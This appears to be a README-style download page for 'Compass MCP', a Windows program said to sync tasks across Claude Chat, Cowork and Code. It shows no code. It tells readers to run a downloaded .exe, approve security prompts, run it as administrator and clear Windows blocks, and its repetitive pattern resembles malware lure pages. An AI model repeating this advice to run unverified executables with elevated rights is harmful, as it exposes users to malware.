Compass MCP keeps shared work in one place. It lets Claude use the same task data in Chat, Cowork, and Code. You can add a task in one surface, mark it done in another, and keep the same state across all of them.
It is built for people who want less repeating and less copying between tools. You keep one task list, one set of contexts, and one view of what is done.
- Add tasks in Claude Chat
- Check off tasks in Claude Code
- Filter work by project in Cowork
- Keep shared context in one folder
- Use the same data across all three surfaces
- Cut down on repeated explanations
- Keep task notes close to the work
Use this link to visit the page and download the app:
Open the compass-mcp download page
On the GitHub page, look for the latest release or the main download option. Save the file to your computer.
If you see a ZIP file, download it and keep it in a folder you can find again, such as Downloads or Desktop.
If the download comes as a ZIP file:
- Right-click the file
- Choose Extract All
- Pick a folder
- Finish the extraction
After this, you should see the Compass MCP files in the folder you chose.
Open the extracted folder and look for the main app file.
Common file names may include:
CompassMCP.execompass-mcp.exestart.bat
Double-click the file to run it.
If Windows asks for permission:
- Click Run
- Click Yes if a security prompt appears
- Let the app finish opening
Do not move random files out of the folder after you start it. Compass MCP uses its local data folder to store tasks and context files.
Compass MCP works with a local data folder. On first run, it creates a workspace for your tasks and context files.
You may see folders like these:
tasks.mdfor task listscontexts/for project notes- a local data folder for shared state
If the app asks for a folder path, choose a place you can find again, such as:
Documents\compass-dataDesktop\compass-data
Keep the folder name simple. This helps when you need to open it later.
Compass MCP uses one shared source of truth.
Here is the basic flow:
- Add a task in Chat
- Open Code and mark it done
- Check Cowork and filter by project
- See the same task state in all places
This means you do not need to rewrite the same task in each surface. You keep one list and use it from wherever you work.
The tasks file holds your active work. It is easy to read and works like a plain text checklist.
The contexts folder stores project notes and related files. Use one folder per project if you want a neat structure.
Shared state means the app keeps one set of task data for all connected surfaces. If you change a task in one place, you can see that change in the others.
A good way to use Compass MCP is:
- Start the app
- Add today’s work in Chat
- Open Code and complete the task
- Check Cowork for the project view
- Keep notes in the matching context folder
This works well for planning, building, and reviewing the same work without switching tools in a messy way.
You can use a layout like this on Windows:
C:\Users\YourName\Documents\compass-datatasks.mdcontexts\project-a\project-b\
This keeps your files easy to find. It also makes it simple to back them up.
Try these steps:
- Make sure the files finished downloading
- Unzip the folder before opening it
- Double-click the main
.exefile - Try running it as an administrator
- Check that Windows did not block the file
- Move the folder to
DesktoporDocumentsand try again
If you still have trouble, download the file again from the main page and replace the old copy.
- Keep the app in one folder
- Use short folder names
- Put your task file and context files in the same workspace
- Back up the data folder if you use it often
- Close the app before moving the folder
Compass MCP is meant for Windows desktop use and works best on a normal personal computer. A recent version of Windows, a mouse, and basic file access are enough for most users. It uses local files, so you do not need to learn a new online system to keep your work in place.
- Track tasks across Claude surfaces
- Keep project notes tied to each task
- Review work without rewriting it
- Move between planning and execution with less friction
- Keep one clean task list for daily work
Depending on the download, you may see:
- a program file for Windows
- a ZIP archive
- a tasks file
- a contexts folder
- a README file
Keep the whole folder together so the app can find what it needs
MCP stands for a shared connection pattern between tools. In this app, it helps Claude reach the same task state in Chat, Cowork, and Code. You do not need to set up the technical side by hand for normal use. You only need to download the app, open it, and point it at your workspace
- Download Compass MCP
- Open the app on Windows
- Create or choose a data folder
- Add a task in Chat
- View the same task in Code
- Filter the list in Cowork
- Mark the task done when finished
If you want to get the app again, use this page:
Download compass-mcp from GitHub
A simple setup may look like this:
- compass-mcp
- app files
- tasks.md
- contexts
- README.md
You can rename folders to fit your own work, but keep the structure clear and easy to scan
Use one folder for one set of work. Avoid mixing unrelated projects in the same task file if you can. That makes it easier to find things later and keeps the shared state clean
- Check tasks at the start of the day
- Add notes right after a meeting
- Mark work done as soon as it is finished
- Keep project names short
- Store context files next to the related task list
Create one context folder per project. For example:
contexts\client-sitecontexts\internal-toolscontexts\research
This keeps each project separate while still using the same Compass MCP workspace
If you want the fastest path:
- Open the download page
- Download the ZIP or app file
- Extract it
- Open the main
.exe - Choose a data folder
- Start using it with Claude
Use this page to get the app: